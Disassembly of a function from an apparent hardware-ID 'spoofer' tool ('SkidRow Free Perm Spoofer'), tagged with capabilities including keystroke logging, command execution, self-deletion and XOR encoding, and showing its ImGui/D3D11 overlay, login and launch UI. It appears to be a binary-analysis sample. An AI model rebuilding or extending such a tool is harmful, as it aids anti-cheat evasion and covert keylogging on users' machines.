Function at 0x1400425f0
Capabilities:
Delete file
Encode data using xor
Execute command
Log keystrokes via polling
Self delete
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x8f8]
sub rsp, 0x9d0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
movaps xmmword [rax - 0x98], xmm12
movaps xmmword [rax - 0xa8], xmm13
movaps xmmword [rax - 0xb8], xmm14
movaps xmmword [rax - 0xc8], xmm15
mov rax, qword [0x140127a00]
xor rax, rsp
mov qword [rbp + 0x820], rax
xor r15d, r15d
lea rcx, [0x140128520]
call fcn.140054460
call fcn.1400326d0
mov qword [rbp + 0x220], r15
mov dword [rbp + 0x210], 0x50
xor ecx, ecx
call qword [sym.imp.GDI32.dll_CreateSolidBrush]
mov qword [rbp + 0x240], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov qword [rbp + 0x238], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconW]
mov qword [rbp + 0x230], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconW]
mov qword [rbp + 0x258], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp + 0x228], rax
lea rax, [0x1400477a0]
mov qword [rbp + 0x218], rax
lea rdi, str.SkidRow_Free_Spoofer
mov qword [rbp + 0x250], rdi
mov qword [rbp + 0x248], r15
mov dword [rbp + 0x214], 3
lea rcx, [rbp + 0x210]
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov r12d, 1
mov ecx, r12d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ebx, eax
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov qword [rsp + 0x58], r15
mov rcx, qword [rbp + 0x228]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], r15
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
mov r9d, 0x80000000
mov r8, rdi
mov rdx, qword [rbp + 0x250]
mov ecx, 0x8000028
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rsi, rax
mov qword [rbp + 0xc8], rax
mov r9d, 2
mov r8b, 0xff
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x1400b61b0]
movdqu xmmword [rbp + 0x4d8], xmm0
lea rdx, [rbp + 0x4d8]
mov rcx, rsi
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov qword [rbp + 0x434], r15
mov qword [rbp + 0x448], 2
mov qword [rbp + 0x460], 2
mov qword [rbp + 0x420], r15
mov dword [rbp + 0x430], Ordinal_35
mov dword [rbp + 0x428], reloc.WLDAP32.dll_Ordinal_60
mov dword [rbp + 0x42c], r12d
mov dword [rbp + 0x444], reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp + 0x450], rsi
mov qword [rbp + 0x43c], r12
mov qword [rbp + 0x458], r12
mov dword [rbp + 0x680], 0xb000
mov dword [rbp + 0x684], 0xa000
lea rbx, [0x140128398]
mov qword [rsp + 0x58], rbx
lea rax, [rbp + 0x268]
mov qword [rsp + 0x50], rax
lea rdi, [0x140128390]
mov qword [rsp + 0x48], rdi
lea r14, [0x1401283a0]
mov qword [rsp + 0x40], r14
lea rax, [rbp + 0x420]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 2
lea rax, [rbp + 0x680]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, r12d
xor ecx, ecx
call sub.d3d11.dll_D3D11CreateDeviceAndSwapChain
cmp eax, 0x887a0004
jne 0x1400428f4
mov qword [rsp + 0x58], rbx
lea rax, [rbp + 0x268]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], r14
lea rax, [rbp + 0x420]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 2
lea rax, [rbp + 0x680]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 5
xor ecx, ecx
call sub.d3d11.dll_D3D11CreateDeviceAndSwapChain
test eax, eax
je 0x140042916
call fcn.140042210
mov rdx, qword [rbp + 0x228]
mov rcx, qword [rbp + 0x250]
call qword [sym.imp.USER32.dll_UnregisterClassW]
jmp 0x140046ea5
call fcn.1400422c0
mov edx, 0xa
mov rcx, rsi
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rsi
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rsp + 0x30], 2
mov qword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
mov edx, 0x37b8
mov r9d, 8
mov r8d, 0x434
lea rcx, str.1.89.2
call fcn.140008b90
xor ecx, ecx
call fcn.1400086b0
call fcn.14000b7b0
or dword [rax], r12d
xor ecx, ecx
call fcn.140029150
mov edx, 2
mov rcx, rsi
call qword [sym.imp.USER32.dll_MonitorFromWindow]
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rbp + 0x4b0], xmm0
movups xmmword [rbp + 0x4c0], xmm0
mov qword [rbp + 0x4d0], rcx
mov dword [rbp + 0x4b0], Ordinal_45
lea rdx, [rbp + 0x4b0]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetMonitorInfoW]
mov eax, dword [rbp + 0x4c0]
sub eax, dword [rbp + 0x4b8]
cmp eax, 0x438
jle 0x140042a00
lea rcx, [rbp + 0x420]
call fcn.14001ca90
mov dword [rbp + 0x434], 0x41d00000
call fcn.14000b7b0
lea rdx, [rbp + 0x420]
mov rcx, qword [rax + 0x50]
call fcn.14001d620
call fcn.14000b7b0
mov qword [rax + 0x18], r15
call fcn.14000b7b0
mov rdi, rax
mov rbx, qword [rax + 0x50]
mov rcx, rbx
call fcn.140024670
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
movss xmm3, dword [0x1400b0840]
mov r8d, 0x13368
lea rdx, [0x1400e7380]
mov rcx, rbx
call fcn.14001de10
mov qword [0x140128428], rax
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.140024670
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
movss xmm6, dword [0x1400b0854]
movaps xmm3, xmm6
mov r8d, 0x13328
lea rdx, [0x1400d4050]
mov rcx, rbx
call fcn.14001de10
mov qword [0x140128420], rax
mov qword [rsp + 0x20], r15
xor r9d, r9d
movaps xmm2, xmm6
lea rdx, str.C:WindowsFontsImpact.ttf
mov rcx, qword [rdi + 0x50]
call fcn.14001d8f0
mov qword [0x1401283d8], rax
cmp qword [0x1401283f0], r15
jne 0x140042af0
mov qword [rsp + 0x30], r15
lea rax, [0x1401283f0]
mov qword [rsp + 0x28], rax
mov rax, qword [0x1401283d0]
mov qword [rsp + 0x20], rax
lea r9, [0x140127908]
mov r8d, 0xfb
lea rdx, [0x1400fa6f0]
mov rcx, qword [0x140128390]
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
cmp qword [0x140128400], r15
jne 0x140042b36
mov qword [rsp + 0x30], r15
lea rax, [0x140128400]
mov qword [rsp + 0x28], rax
mov rax, qword [0x1401283d0]
mov qword [rsp + 0x20], rax
lea r9, [0x140127908]
mov r8d, 0xa7
lea rdx, [0x1400fa7f0]
mov rcx, qword [0x140128390]
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
cmp qword [0x140128418], r15
jne 0x140042b7c
mov qword [rsp + 0x30], r15
lea rax, [0x140128418]
mov qword [rsp + 0x28], rax
mov rax, qword [0x1401283d0]
mov qword [rsp + 0x20], rax
lea r9, [0x140127908]
mov r8d, 0x1722e
lea rdx, [0x1400fa8a0]
mov rcx, qword [0x140128390]
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
cmp qword [0x140128408], r15
jne 0x140042bc2
mov qword [rsp + 0x30], r15
lea rax, [0x140128408]
mov qword [rsp + 0x28], rax
mov rax, qword [0x1401283d0]
mov qword [rsp + 0x20], rax
lea r9, [0x140127908]
mov r8d, 0x148
lea rdx, [0x140111ad0]
mov rcx, qword [0x140128390]
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
cmp qword [0x140128410], r15
jne 0x140042c08
mov qword [rsp + 0x30], r15
lea rax, [0x140128410]
mov qword [rsp + 0x28], rax
mov rax, qword [0x1401283d0]
mov qword [rsp + 0x20], rax
lea r9, [0x140127908]
mov r8d, 0x376
lea rdx, [0x140111c20]
mov rcx, qword [0x140128390]
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
cmp qword [0x1401283f8], r15
jne 0x140042c4e
mov qword [rsp + 0x30], r15
lea rax, [0x1401283f8]
mov qword [rsp + 0x28], rax
mov rax, qword [0x1401283d0]
mov qword [rsp + 0x20], rax
lea r9, [0x140127908]
mov r8d, 0x24ae
lea rdx, [0x140111fa0]
mov rcx, qword [0x140128390]
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
cmp qword [0x1401283e8], r15
jne 0x140042c94
mov qword [rsp + 0x30], r15
lea rax, [0x1401283e8]
mov qword [rsp + 0x28], rax
mov rax, qword [0x1401283d0]
mov qword [rsp + 0x20], rax
lea r9, [0x140127908]
mov r8d, 0x134b4
lea rdx, [0x140114450]
mov rcx, qword [0x140128390]
call sub.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory
mov rcx, rsi
call fcn.140032810
mov rdx, qword [0x140128398]
mov rcx, qword [0x140128390]
call fcn.1400316a0
mov byte [0x1401283b0], r12b
xor bl, bl
mov r13d, dword [reloc.WS2_32.dll_accept]
movdqa xmm8, xmmword [0x1400b6200]
movdqa xmm11, xmmword [0x1400b6220]
movdqa xmm9, xmmword [str.7777]
movdqa xmm7, xmmword [0x1400b6210]
movdqa xmm10, xmmword [0x1400b4790]
movdqa xmm14, xmmword [0x1400b6240]
movss xmm13, dword [0x1400b080c]
movss xmm15, dword [0x1400b0828]
xorps xmm12, xmm12
nop word [rax + rax]
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x420]
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x140042d76
nop
lea rcx, [rbp + 0x420]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x420]
call qword [sym.imp.USER32.dll_DispatchMessageW]
movzx ebx, bl
cmp dword [rbp + 0x428], 0x12
cmove ebx, r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x420]
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
jne 0x140042d30
mov ecx, reloc.WLDAP32.dll_Ordinal_35
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
movzx ebx, bl
cmovne ebx, r12d
mov dword [rbp - 0x7c], ebx
mov rcx, qword [0x1401283b8]
test rcx, rcx
je 0x140042ddb
call qword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x140042dd4
lea rdx, [rbp + 0x268]
mov rcx, qword [0x1401283b8]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov eax, dword [0x1401283c4]
cmp dword [rbp + 0x268], eax
jne 0x140042dd4
mov eax, dword [0x1401283c0]
mov rcx, qword [0x1401283b8]
jmp 0x140042de9
mov rcx, qword [0x1401283b8]
mov eax, dword [0x1401283c0]
test eax, eax
jne 0x140046e58
test bl, bl
jne 0x140046e58
test rcx, rcx
je 0x140042e48
test eax, eax
je 0x140042e48
lea rdx, [rbp + 0x3d0]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov ecx, dword [rbp + 0x3d8]
mov r8d, dword [rbp + 0x3d0]
sub ecx, r8d
sub ecx, 5
mov eax, dword [rbp + 0x3dc]
mov r9d, dword [rbp + 0x3d4]
sub eax, r9d
sub eax, 0x1d
mov dword [rsp + 0x30], 0x40
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], ecx
xor edx, edx
mov rcx, rsi
call qword [sym.imp.USER32.dll_SetWindowPos]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov r8d, 0x7d
lea rdx, [rbp + 0x6a0]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetClassNameA]
test eax, eax
je 0x140042f1b
mov r8d, 0x7d
lea rdx, [rbp + 0x720]
mov rcx, qword [0x1401283b8]
call qword [sym.imp.USER32.dll_GetClassNameA]
test eax, eax
je 0x140042f1b
mov r8d, 0x7d
lea rdx, [rbp + 0x7a0]
mov rcx, rsi
call qword [sym.imp.USER32.dll_GetClassNameA]
test eax, eax
je 0x140042f1b
lea rax, [rbp + 0x6a0]
lea r8, [rbp + 0x720]
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140042ed3
inc rax
test ecx, ecx
jne 0x140042ec0
test edx, edx
je 0x140042f6e
lea rax, [rbp + 0x6a0]
lea r8, [rbp + 0x7a0]
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140042f03
inc rax
test ecx, ecx
jne 0x140042ef0
test edx, edx
je 0x140042f6e
mov edx, 0xffffffec
mov r8d, 0x800a8
mov rcx, rsi
call qword [sym.imp.USER32.dll_SetWindowLongW]
cmp dword [0x1401283c0], 0
je 0x140042f6e
xorps xmm0, xmm0
movups xmmword [rbp + 0x670], xmm0
mov rcx, qword [0x140128398]
mov rax, qword [rcx]
xor r9d, r9d
lea r8, [0x1401283a8]
mov edx, r12d
call qword [rax + 0x108]
mov rcx, qword [0x140128398]
mov rax, qword [rcx]
lea r8, [rbp + 0x670]
mov rdx, qword [0x1401283a8]
call qword [rax + 0x190]
jmp 0x140046d6d
call fcn.140031920
call fcn.1400329a0
call fcn.140011a90
mov r12, qword [0x140128258]
call fcn.14000bc70
movdqa xmm0, xmmword [0x1400b09b0]
movups xmmword [rax + 0xf4], xmm0
movups xmmword [rax + 0x114], xmm0
movups xmmword [rax + 0x124], xmm14
mov dword [rax + 0x2c], 0x41400000
mov dword [rax + 0x10], 0x40c00000
mov qword [rax + 8], 0
call fcn.14000bc70
mov dword [rax + 0x4c], 0x41700000
mov dword [rax + 0x50], 0x41700000
mov dword [rbp - 0x60], 0x44160000
mov dword [rbp - 0x5c], 0x43e60000
xor edx, edx
lea rcx, [rbp - 0x60]
call fcn.140017360
mov r8d, 3
lea rdx, reloc.WS2_32.dll_accept
lea rcx, str.SkidRow_Spoofer
call fcn.140004540
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x140046cdd
call fcn.140048210
lea rcx, [rbp + 0x260]
call fcn.14000be80
lea rcx, [rbp + 0x680]
call fcn.14000b270
mov eax, dword [0x1401287a4]
cmp dword [0x1401283e0], eax
jne 0x140043040
movaps xmm6, xmm13
jmp 0x140043048
movss xmm6, dword [0x1400b0874]
call fcn.14000b7b0
movss xmm0, dword [rax + 0x10]
mulss xmm0, xmm15
mulss xmm0, xmm6
addss xmm0, dword [0x14012879c]
comiss xmm12, xmm0
jbe 0x14004306f
movaps xmm1, xmm12
jmp 0x140043077
movaps xmm1, xmm13
minss xmm1, xmm0
movss dword [0x14012879c], xmm1
mov eax, dword [0x1401287a4]
cmp dword [0x1401283e0], eax
jne 0x140043093
movaps xmm6, xmm13
jmp 0x14004309b
movss xmm6, dword [0x1400b0874]
call fcn.14000b7b0
mov rbx, rax
movss xmm0, dword [0x1400b618c]
call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
mulss xmm0, dword [rbx + 0x10]
mulss xmm0, xmm6
addss xmm0, dword [0x1401287a0]
comiss xmm12, xmm0
jbe 0x1400430cd
movaps xmm1, xmm12
jmp 0x1400430d5
movaps xmm1, xmm13
minss xmm1, xmm0
movss dword [0x1401287a0], xmm1
movss xmm0, dword [0x14012879c]
ucomiss xmm0, xmm12
jp 0x140043101
jne 0x140043101
ucomiss xmm1, xmm12
jp 0x140043101
jne 0x140043101
mov eax, dword [0x1401283e0]
mov dword [0x1401287a4], eax
call fcn.14000be50
mov r15, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
lea rcx, [rbp + 0x180]
call fcn.140008570
mov r14d, eax
xorps xmm0, xmm0
movups xmmword [rbp + 0x190], xmm0
lea rcx, [rbp + 0x190]
call fcn.140008570
mov esi, eax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
lea rcx, [rbp + 0x1a0]
call fcn.140008570
mov edi, eax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b0], xmm0
lea rcx, [rbp + 0x1b0]
call fcn.140008570
mov ebx, eax
movaps xmm1, xmm13
mov ecx, 4
call fcn.14000b220
movss xmm3, dword [rbp + 0x264]
movaps xmm1, xmm3
addss xmm1, xmm15
movss xmm2, dword [rbp + 0x260]
movaps xmm0, xmm2
addss xmm0, dword [rbp + 0x680]
movss dword [rbp - 0x58], xmm0
movss dword [rbp - 0x54], xmm1
addss xmm2, xmm13
movss dword [rbp - 0x50], xmm2
movss dword [rbp - 0x4c], xmm3
mov dword [rsp + 0x48], 0xf0
movss xmm6, dword [0x1400b082c]
movss dword [rsp + 0x40], xmm6
mov dword [rsp + 0x38], r14d
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], ebx
mov r9d, eax
lea r8, [rbp - 0x58]
lea rdx, [rbp - 0x50]
mov rcx, r15
call fcn.14001f6b0
call fcn.14000be50
mov r15, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c0], xmm0
lea rcx, [rbp + 0x1c0]
call fcn.140008570
mov r14d, eax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
lea rcx, [rbp + 0x1d0]
call fcn.140008570
mov esi, eax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
lea rcx, [rbp + 0x1e0]
call fcn.140008570
mov edi, eax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
lea rcx, [rbp + 0x1f0]
call fcn.140008570
mov ebx, eax
movaps xmm1, xmm13
mov ecx, 4
call fcn.14000b220
movss xmm2, dword [rbp + 0x684]
movss xmm3, dword [rbp + 0x264]
addss xmm2, xmm3
movss xmm1, dword [rbp + 0x260]
movaps xmm0, xmm1
addss xmm0, xmm6
movss dword [rbp - 0x48], xmm0
movss dword [rbp - 0x44], xmm2
addss xmm1, xmm13
movss dword [rbp - 0x40], xmm1
movss dword [rbp - 0x3c], xmm3
mov dword [rsp + 0x48], 0xf0
movss dword [rsp + 0x40], xmm6
mov dword [rsp + 0x38], r14d
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], ebx
mov r9d, eax
lea r8, [rbp - 0x48]
lea rdx, [rbp - 0x40]
mov rcx, r15
call fcn.14001f6b0
movss xmm1, dword [0x14012879c]
mulss xmm1, dword [r12 + 0x37e0]
xor ecx, ecx
call fcn.1400135e0
mov eax, dword [0x1401287a4]
test eax, eax
jne 0x1400435f0
call fcn.14000be50
mov rbx, rax
mov qword [rbp - 0x38], 0
movdqa xmm0, xmmword [0x1400b6230]
movups xmmword [rbp + 0x200], xmm0
lea rcx, [rbp + 0x200]
call fcn.140008570
movss xmm1, dword [rbp + 0x264]
addss xmm1, dword [0x1400b09a0]
movss xmm0, dword [rbp + 0x260]
addss xmm0, dword [0x1400b6188]
movss dword [rbp - 0x30], xmm0
movss dword [rbp - 0x2c], xmm1
mov dword [rsp + 0x38], select
xor r15d, r15d
mov dword [rsp + 0x30], r15d
lea rcx, [rbp - 0x38]
mov qword [rsp + 0x28], rcx
movss xmm0, dword [0x1400b6184]
movss dword [rsp + 0x20], xmm0
mov r9d, eax
movss xmm2, dword [0x1400b0844]
lea rdx, [rbp - 0x30]
mov rcx, rbx
call fcn.140020b10
call fcn.14000be50
mov rbx, rax
movdqa xmm0, xmmword [0x1400b09b0]
movups xmmword [rbp + 0x130], xmm0
lea rcx, [rbp + 0x130]
call fcn.140008570
movss xmm1, dword [rbp + 0x264]
addss xmm1, dword [0x1400b09a0]
movss xmm0, dword [rbp + 0x260]
addss xmm0, dword [0x1400b6188]
movss dword [rbp - 0x28], xmm0
movss dword [rbp - 0x24], xmm1
movss dword [rsp + 0x28], xmm13
mov dword [rsp + 0x20], r15d
mov r9d, eax
movss xmm2, dword [0x1400b0838]
lea rdx, [rbp - 0x28]
mov rcx, rbx
call fcn.14001cbb0
call fcn.14000be50
mov rbx, rax
lea rcx, [0x1401281e8]
call fcn.14000b1e0
movss xmm1, dword [rbp + 0x264]
addss xmm1, dword [0x1400b0998]
movss xmm0, dword [rbp + 0x260]
addss xmm0, dword [0x1400b09a8]
movss dword [rbp - 0x20], xmm0
movss dword [rbp - 0x1c], xmm1
mov qword [rsp + 0x40], r15
movss dword [rsp + 0x38], xmm12
mov qword [rsp + 0x30], r15
lea rcx, str.SkidRow_Free
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], eax
lea r9, [rbp - 0x20]
movss xmm2, dword [0x1400b0854]
mov rdx, qword [0x140128420]
mov rcx, rbx
call fcn.140022d50
mov dword [rbp - 0x18], 0x43430000
mov dword [rbp - 0x14], 0x43340000
lea rcx, [rbp - 0x18]
call fcn.140016fd0
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
mov r9d, 0x40
lea rdi, [0x140128430]
mov r8, rdi
lea rdx, [0x1400b5d30]
lea rcx, str.Login
call fcn.14003add0
mov dword [rbp - 0x10], 0x43410000
mov dword [rbp - 0xc], 0x43700000
lea rcx, [rbp - 0x10]
call fcn.140016fd0
mov dword [rbp - 8], 0x434f0000
mov dword [rbp - 4], 0x41f00000
lea rdx, [rbp - 8]
lea rcx, str.Launch
call fcn.140035c80
test al, al
je 0x14004355a
mov dword [0x1401283e0], 1
xorps xmm0, xmm0
movups xmmword [rbp + 0x270], xmm0
mov qword [rbp + 0x280], r15
mov qword [rbp + 0x288], r15
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdi + r8], r15b
jne 0x140043522
mov rdx, rdi
lea rcx, [rbp + 0x270]
call fcn.14003fcc0
lea rdx, [rbp + 0x270]
lea rcx, [0x140128520]
call fcn.140055db0
cmp byte [0x140128730], r15b
je 0x140046d85
movss xmm0, dword [rbp + 0x680]
subss xmm0, dword [0x1400b0994]
movss dword [rbp], xmm0
mov dword [rbp + 4], 0x41200000
lea rcx, [rbp]
call fcn.140016fd0
mov dword [rbp + 8], 0x41700000
mov dword [rbp + 0xc], 0x41700000
xor r9d, r9d
lea r8, [rbp + 8]
mov rdx, qword [0x140128400]
lea rcx, str.Roll
call fcn.14003d1a0
movss xmm1, dword [0x1400b0990]
movaps xmm0, xmm12
call fcn.140016640
mov dword [rbp + 0x10], 0x41700000
mov dword [rbp + 0x14], 0x41700000
xor r9d, r9d
lea r8, [rbp + 0x10]
mov rdx, qword [0x1401283f0]
lea rcx, str.Exit
call fcn.14003cb80
test al, al
jne 0x140046e4f
mov eax, dword [0x1401287a4]
jmp 0x1400435f3
xor r15d, r15d
cmp eax, 1
jne 0x140046c68
call fcn.14000be50
mov rbx, rax
movups xmmword [rbp + 0x150], xmm14
lea rcx, [rbp + 0x150]
call fcn.140008570
movss xmm3, dword [rbp + 0x264]
movaps xmm1, xmm3
addss xmm1, dword [0x1400b6174]
movss xmm2, dword [rbp + 0x260]
movaps xmm0, xmm2
addss xmm0, dword [rbp + 0x680]
movss dword [rbp + 0x18], xmm0
movss dword [rbp + 0x1c], xmm1
addss xmm3, dword [0x1400b099c]
addss xmm2, xmm15
movss dword [rbp + 0x20], xmm2
movss dword [rbp + 0x24], xmm3
mov dword [rsp + 0x28], r15d
movss dword [rsp + 0x20], xmm6
mov r9d, eax
lea r8, [rbp + 0x18]
lea rdx, [rbp + 0x20]
mov rcx, rbx
call fcn.14001f500
call fcn.14000be50
mov rbx, rax
movups xmmword [rbp + 0x170], xmm14
lea rcx, [rbp + 0x170]
call fcn.140008570
movss xmm1, dword [rbp + 0x684]
movss xmm3, dword [rbp + 0x264]
addss xmm1, xmm3
movss xmm2, dword [rbp + 0x260]
movaps xmm0, xmm2
addss xmm0, dword [0x1400b6178]
movss dword [rbp + 0x28], xmm0
movss dword [rbp + 0x2c], xmm1
addss xmm3, dword [0x1400b6174]
addss xmm2, dword [0x1400b085c]
movss dword [rbp + 0x30], xmm2
movss dword [rbp + 0x34], xmm3
mov dword [rsp + 0x28], r15d
movss dword [rsp + 0x20], xmm6
mov r9d, eax
lea r8, [rbp + 0x28]
lea rdx, [rbp + 0x30]
mov rcx, rbx
call fcn.14001f500
call fcn.14000be50
mov rbx, rax
movups xmmword [rbp + 0x160], xmm14
lea rcx, [rbp + 0x160]
call fcn.140008570
movss xmm3, dword [rbp + 0x264]
movaps xmm1, xmm3
addss xmm1, dword [0x1400b6194]
movss xmm2, dword [rbp + 0x260]
movaps xmm0, xmm2
addss xmm0, dword [0x1400b6178]
movss dword [rbp + 0x38], xmm0
movss dword [rbp + 0x3c], xmm1
addss xmm3, dword [0x1400b6190]
addss xmm2, xmm15
movss dword [rbp + 0x40], xmm2
movss dword [rbp + 0x44], xmm3
mov dword [rsp + 0x28], r15d
movss dword [rsp + 0x20], xmm6
mov r9d, eax
lea r8, [rbp + 0x38]
lea rdx, [rbp + 0x40]
mov rcx, rbx
call fcn.14001f500
mov dword [rbp + 0x48], 0x420c0000
mov dword [rbp + 0x4c], 0x43160000
lea rcx, [rbp + 0x48]
call fcn.140016fd0
call fcn.140006c80
mov dword [rbp + 0x50], 0x41f00000
mov dword [rbp + 0x54], 0x41f00000
cmp dword [0x1401283e4], 0
sete r8b
lea r9, [rbp + 0x50]
mov rdx, qword [0x140128408]
lea rcx, str.Home
call fcn.14003c6f0
test al, al
je 0x1400437de
mov eax, r15d
mov dword [0x1401283e4], eax
jmp 0x1400437e4
mov eax, dword [0x1401283e4]
mov dword [rbp + 0x58], 0x41f00000
mov dword [rbp + 0x5c], 0x41f00000
cmp eax, 1
sete r8b
lea r9, [rbp + 0x58]
mov rdx, qword [0x140128410]
lea rcx, str.Game
call fcn.14003c6f0
mov r12d, 1
test al, al
je 0x140043821
mov dword [0x1401283e4], r12d
mov dword [rbp + 0x60], 0x41f00000
mov dword [rbp + 0x64], 0x43c08000
lea rcx, [rbp + 0x60]
call fcn.140016fd0
xorps xmm0, xmm0
movups xmmword [rbp + 0x670], xmm0
lea rdx, [rbp + 0x670]
mov ecx, reloc.WS2_32.dll_setsockopt
call fcn.140013420
xorps xmm0, xmm0
movups xmmword [rbp + 0x670], xmm0
lea rdx, [rbp + 0x670]
mov ecx, reloc.WS2_32.dll_socket
call fcn.140013420
xorps xmm0, xmm0
movups xmmword [rbp + 0x670], xmm0
lea rdx, [rbp + 0x670]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
call fcn.140013420
movdqa xmm0, xmmword [0x1400aeed0]
movups xmmword [rbp + 0x670], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov dword [rbp + 0x68], 0x3f800000
mov dword [rbp + 0x6c], 0x3f800000
mov qword [rbp + 0x70], 0
mov dword [rbp + 0x78], 0x42000000
mov dword [rbp + 0x7c], 0x42000000
lea rax, [rbp + 0x670]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xffffffff
lea r9, [rbp + 0x68]
lea r8, [rbp + 0x70]
lea rdx, [rbp + 0x78]
mov rcx, qword [0x1401283f8]
call fcn.1400372c0
test al, al
jne 0x140046e4f
mov ecx, r12d
call fcn.140012e50
call fcn.140009e30
mov dword [rbp + 0x80], 0x42f00000
mov dword [rbp + 0x84], 0x41f00000
lea rcx, [rbp + 0x80]
call fcn.140016fd0
call fcn.140006c80
mov qword [rbp + 0x88], 0
cmp dword [0x1401283e4], 0
sete cl
xor r9d, r9d
lea r8, [rbp + 0x88]
lea rdx, str.Main
call fcn.14003c100
test al, al
je 0x14004396a
mov dword [0x140128470], r15d
mov qword [rbp + 0x90], 0
cmp dword [0x1401283e4], 1
sete cl
xor r9d, r9d
lea r8, [rbp + 0x90]
lea rdx, str.Spoofer
call fcn.14003c100
test al, al
je 0x1400439a0
mov dword [0x140128470], r12d
call fcn.140009e30
cmp dword [0x1401283e4], 0
jne 0x140043a6f
mov dword [rbp + 0x98], 0x42f00000
mov dword [rbp + 0x9c], 0x42dc0000
lea rcx, [rbp + 0x98]
call fcn.140016fd0
call fcn.140006c80
mov dword [rbp + 0xa0], 0x43e60000
mov dword [rbp + 0xa4], 0x42700000
xor r9d, r9d
lea r8, [rbp + 0xa0]
lea rdx, str.Updated_to_on_IMGUI_version_of_the_loader__bug_fixes
lea rcx, str.You_are_on_Latest_SkidRow_Free_Perm_Spoofer__v1.3_Update:
call fcn.1400367e0
mov dword [rbp + 0xa8], 0x43e60000
mov dword [rbp + 0xac], 0x42700000
xor r9d, r9d
lea r8, [rbp + 0xa8]
lea rdx, str.Intel_R__Adapters_support__improved_detection__bug_fixes
